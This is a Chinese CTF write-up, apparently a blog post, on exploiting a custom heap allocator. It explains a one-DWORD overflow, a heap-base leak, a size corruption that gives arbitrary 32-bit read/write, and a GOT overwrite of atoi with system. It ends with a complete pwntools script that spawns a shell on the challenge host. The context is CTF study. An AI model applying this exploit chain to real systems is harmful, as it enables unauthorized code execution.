文章目錄
  1. 1. 分析
  2. 2. 方法
  3. 3. 心得
  4. 4. 代码

几个月前的比赛题
学习晨升牛的题解。

自己实现的堆管理器的漏洞。
这种题目出现的频率比较高。对于我还是算难度比较大的一种。

分析

  1. 一个很大的堆,可以在其上生成长度最大为32的DWORD数组。
  2. 数组可以溢出一个DWORD,可以读/写。
  3. 该堆没有自动合并碎片的功能,每次分割之后的块大小就固定了。
  4. 有一个排序功能,该排序功能也从堆上分配空间来存储排序结果
  5. 排序结果会被记录,并被链入链表(结构为struct Link{Entry *entry; Link *next;}),其中链表项和链表头也都是从该堆中分配。
  6. 综合1.4.5,堆上的东西(数组或排序结果或表项或表头)都是struct Entry{unsigned size; int used; unsigned offset; Entry *next;},堆上的东西(used和not_used)也被从小到大链接成一个链表(另一个链表,并且使用插入排序)c:w

方法

  1. 使用system(“/bin/bash”) -> 修改got表中atoi项为system的地址。输入字符串/bin/bash,被传给system。
  2. 修改got表 -> 修改其中一个块的size为很大,然后重新读取这块,此时在该块下就能进行很大范围的索引了。我们需要加到整数溢出才能加到atoi_got。
  3. atoi_got -> 根据堆的起始地址和atoi_got的VA来算
  4. 堆的起始地址 -> 第一次sort,会在堆中生成一个struct Link作为表头,其第一个DWORD便是第一个数组,也就是堆的起始地址。我们对第一次生成的数组排序,然后溢出query,便能查到。
  5. system的地址 -> 根据atoi_plt算出libc,再算出system。
  6. atoi_plt -> 同2的方法,在该size值很大的块下,我们能进行很大范围的索引。size为0x40000000时,size*4大于了unsigned的最大范围,因此使用0x40000000能够达到32位进程空间任意读写。

心得

  1. 才学会使用IDA的structure功能,汗颜。分析数据结构比较复杂的程序,现在应该专注于数据结构的分析才能比较快。
  2. 对新发现的脆弱点要好好研究。不能因为觉得一个DWORD的溢出太小,而一直花时间找别的脆弱点。
  3. 该研究内核了

代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
local = True
if local:
    io = process('./pwn1-fb39ccfa')
    atoi_offset = 0x2d230
    system_offset = 0x3ad80
else:
    atoi_offset = 0x2D8E0
    system_offset = 0x3BC90
    io = remote('pwn.lab.seclover.com',11111)
def r_sort(io,numbers):
    io.recvuntil('$ ')
    io.sendline('sort')
    io.recvuntil(':')
    io.sendline(str(len(numbers)))
    for i in numbers:
        io.recvuntil(':')
        io.sendline(str(i))
def main():
    # leak heap base
    r_sort(io,[1])
    print io.recvuntil('Choose:')
    io.sendline('3')
    print io.recvuntil('Choose:')
    io.sendline('1')
    print io.recvuntil('index:')
    io.sendline('1')
    io.recvuntil('result: ')
    heap_base = int(io.recvline()[:-1])
    log.success('Heap Base = ' + hex(heap_base))
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('clear')
    # now:
    # [8|8|xxxxxx]
    r_sort(io,[1,2,3])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    r_sort(io,[1,2,3,4,5,6,7])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('clear')
    r_sort(io,[1,2,3,4,5,6,7])
    io.recvuntil('Choose:')
    io.sendline('3')
    io.recvuntil('Choose:')
    io.sendline('7')
    r_sort(io,[1,2,3])
    io.recvuntil('Choose:')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline('1073741832')
    io.recvuntil('Choose:')
    io.sendline('7')
    io.recvuntil('$ ')
    io.sendline('reload')
    io.recvuntil(':')
    io.sendline('0')
    addr = heap_base + 0x40
    atoi_plt = c_uint32(0x804d020)
    atoi_plt.value -= addr
    atoi_plt.value /= 4
    atoi_plt.value -= 1
    log.success('Index = '+str(atoi_plt.value))
    io.recvuntil('Choose:')
    gdb.attach(io, execute="b *0x08048F5D\nc\n")
    io.sendline('1')
    io.recvuntil('index:')
    io.sendline(str(atoi_plt.value))
    io.recvuntil('result: ')
    atoi_addr = c_uint32(int(io.recvline()[:-1]))
    log.success('Atoi addr = ' + hex(atoi_addr.value))
    libc_addr = atoi_addr.value - atoi_offset
    log.success('Libc addr = ' + hex(libc_addr))
    system_addr = c_int32(libc_addr + system_offset)
    io.recvuntil('Choose:')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(atoi_plt.value))
    io.recvuntil(':')
    io.sendline(str(system_addr.value))
    io.recvuntil('Choose:')
    io.sendline('/bin/sh')
    #raw_input('attach!')
    io.interactive()
    return 0
if __name__ == '__main__':
    main()
文章目錄
  1. 1. 分析
  2. 2. 方法
  3. 3. 心得
  4. 4. 代码